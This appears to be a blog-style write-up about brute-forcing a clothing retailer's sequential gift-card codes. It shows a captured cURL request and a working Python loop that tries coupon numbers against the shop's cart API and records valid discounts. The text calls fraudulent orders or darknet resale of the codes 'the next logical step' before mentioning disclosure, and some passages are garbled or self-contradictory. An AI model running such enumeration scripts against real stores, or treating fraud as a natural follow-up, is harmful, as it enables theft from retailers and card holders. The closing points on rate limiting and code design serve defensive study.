There are many times when the most interesting information about cybersecurity comes from the very ordinary things we do. A simple instance of this is attempting to redeem a gift card using your account on-line. Although the redemption process appears to be simply a common function used by many people every day, it is the result of a sophisticated network of validation processes, server requests, and all of the internal workings of the website itself that support it. This article illustrates how an ordinary-looking interface component can lead one down a path of learning about how code verification works, the types of requests made by the browser to the server, and how the smallest details of technology can provide insights into the operation of online services and shopping systems as well as much other information beyond what may have been apparent initially. The article will be of interest to both developers and security professionals as well as those who are simply interested in how today’s web-based services operate.
The interest of many in the field of cybersecurity stems from the desire to read accounts of the discoveries of identified vulnerabilities. In a way, they seem similar to detective stories; a researcher uses incremental steps to reach a conclusion based on minor observations, unusual coincidences, or shortcomings within a standard. Often times it will begin with a small detail and eventually become a major issue (i.e., a remote code execution due to deserialization or unexpected external requests when processing an xml document). In cases such as these, the progression of events appears quite absurd but ultimately lead to a total system failure.
In contrast, this account has a much simpler storyline. Some may view it as mundane or boring. Unlike previous accounts there are no multi-step attack strategies nor confusing technological tactics here; instead this is simply a report of a very common, nearly insignificant flaw which could occur in any day-to-day activity.
However, examples such as this can also have value. Perhaps the most valuable representation of the mindset of a security researcher is illustrated through the simplest of accounts: how a casual observation develops into a technical investigation and how a seemingly unimportant detail can develop into a complete series of thoughts. Therefore, this account is intentionally detailed to represent the true thought process behind the discovery.
The account begins with a very common scenario. Someone received a gift card for a rather high-end clothing store as a birthday gift. Initially it appeared to be a normal gift. However, this simple gift became the impetus for a relatively brief security investigation.
At times, only one detail is necessary to prompt a closer examination of how a particular service operates. In this case, it was the gift card itself (a simple card or code to use for payment) that captured the attention. It appeared to look somewhat like this:
A user enters a promo code during check-out on their favorite online shopping platform. To enter a promo code users must type a promo code in the box labeled “promo code”. When users enter a promo code, the system will verify the promo code and apply the corresponding discount to the purchase, provided the promo code is valid.
This type of process typically captures the interest of curious users who have an interest in how the various platforms work. Users with curiosity about how platforms work usually want to know where and how the promo code originated and whether or not there is an identifiable pattern within the promo code.
Upon closer examination of the various promo codes, users may begin to notice patterns and/or structures. These include:
A number 2 at the beginning of the promo code that appears to be a simple prefix with no significant value. This is most likely a development design choice;
A large string of zeros that appears to be a filler for the remainder of the promo code;
A six-digit number at the end of the promo code, which appears to be the unique identifier of the certificate.
When a user notices a pattern such as the above, he/she may ask a relatively basic question: What would occur if I modified the number at the end of the promo code? Would the system validate a new promo code and possibly activate another person’s certificate?
Logic would suggest that testing this would be quite simple. As the six digit number represents a six digit numeric value, the potential number of combinations are one million. Additionally, since the certificates are likely sequential, it may not be necessary to evaluate every combination. Testing numbers adjacent to a known certificate number (either greater or less than) may be sufficient.
The first step to determine how the website verifies the promo code is to monitor the network traffic using the developer tools of your preferred web browser (Chrome, etc.) while entering a promo code. Once you open the developer tools (F12), navigate to the Network Tab and filter the traffic to show only XHR (a common asynchronous data exchange protocol).
Once you filter the traffic, the next step is to observe what occurs when a promo code is entered. Due to the dynamic nature of the input field and the fact that the page does not refresh, the site is most likely sending a background request to the server. Therefore, it is logical to filter the XHR traffic.
There are additional scenarios in which the verification may occur. Some of these may include:
In some cases, the verification may be performed via a full page refresh, in which case the request will appear under the Doc filter.
More complex interfaces may utilize WebSockets, which would require filtering by Ws.
Alternatively, you can simply select the All filter and view all the network traffic.
Fortunately, in this particular scenario, things were rather clear-cut. It was relatively easy to identify the network request responsible for validating the coupon. That request served as the entry point for further analysis of how the certificate validation system functions.
We just have to submit a lot of this kind of request and increase the coupon number in the next one.
In addition to the URL, the method and headers, there are also other elements such as the request body, so instead of spending time trying to identify which of the elements in the request are required and which ones are not required we could just duplicate the entire request.
To do this, we use “Copy as cURL.”
Now the clipboard contains a cURL command that looks something like this:
curl 'https://xxxxxxx/front_api/cart.json' \
-X 'PATCH' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-b 'first_current_location=%2F; first_referer=; referer=; current_location=%2F; .......' \
-H 'Origin: https://xxxxxxx' \
-H 'Referer: https://xxxxxxx/cart\\_items' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Linux"' \
--data-raw '{"lang":"","_method":"patch","variant_ids":{},"accessoriable_variant_ids":{},"order_line_comments":{},"coupon":"2000000292670"}'
However, the plan was to use Python for the brute-force process, so this cURL request was simply sent to ChatGPT with the prompt: “rewrite this in Python using the requests library.” The service then generated the corresponding Python code.
import requests
url = "https://xxxxxxx/front_api/cart.json"
data = {
"lang": "",
"_method": "patch",
"variant_ids": "{}",
"accessoriable_variant_ids": "{}",
"order_line_comments": "{}",
"coupon": "2000000292670",
}
cookies = {
"first_current_location": "%2F",
"first_referer": "",
"visit": "t",
"goal30_sent": "1",
"goal90_sent": "1",
"total_time_spent": "120",
"session_time_spent": "120",
"session_completed": "1",
"was": "true",
"cart": "json",
# ...
}
response = requests.patch(url, json=data, cookies=cookies)
print(response.status_code, response.text)
The code is then cleaned up a bit:
requests.Session is used so a new connection doesn’t have to be opened for every request;
the script starts slightly before the known coupon — from 292000 — and moves upward using itertools.count();
progress and processing speed are displayed using tqdm;
the JSON Lines format is used to store any discovered coupons.
The final result ends up looking fairly compact:
from itertools import count
import json
import requests
from tqdm import tqdm
from pathlib import Path
output_file_path = Path('results.jsonl')
url = "https://xxxxxxx/front_api/cart.json"
data = {
"coupon": "",
# ...
}
cookies = {
# ...
}
session = requests.Session()
start = 2000000292000
with output_file_path.open('a', encoding='utf-8') as output_file:
for coupon in tqdm(count(start), initial=start):
response = session.patch(
url,
json=data | {"coupon": str(coupon)},
cookies=cookies,
timeout=10,
)
response.raise_for_status()
result = response.json()
if 'Указан несуществующий купон' not in result['coupon']['error']:
for discount in result['discounts']:
output_file.write(json.dumps(discount) + '\n')
output_file.flush()
The script ran at roughly the same speed as before — checking about two coupons per second. But after around five minutes, no new codes appeared. This suggested that all certificates issued up to that point and not yet activated had already been scanned.
Coupons with a combined value of nearly 177,000 dollars were created. It may seem simple but after generating the coupons, the next logical step was to create orders using fictitious recipients or sell the coupon codes at a discounted price on underground darknet marketplaces.
The retailer was informed about the identified issue by the security research team. It would be wonderful to say that the identification of the security issue led to a large reward (perhaps a gift card for a substantial amount; perhaps even enough money to buy that second hat which has been on the wish list for years). The truth however, is much more mundane.
On one hand the retailer discussed their growth as well as their aggressive ambitions to grow into the hundreds of millions annually. On the other hand there was absolutely nothing for the security researcher.
It is the sometimes ungrateful nature of the white-hat world that the retailer exhibited when they failed to provide compensation for the security researcher.
If we look at what happened, the retailer committed several blunders from a server-side perspective.
First, the certificate code was subject to brute-force attacks because the certificate code was short in length, contained only digits, and the certificates were assigned sequentially.
Second, there were no rate limits in place whatsoever. A virtually endless number of certificates could be tested without any limitation.
Third – and I will call this third item humorous – the retailer’s prices were extremely high. If the retailer had priced them substantially lower, it is possible that no one would have taken such close interest in how the retailer’s gift card program functioned.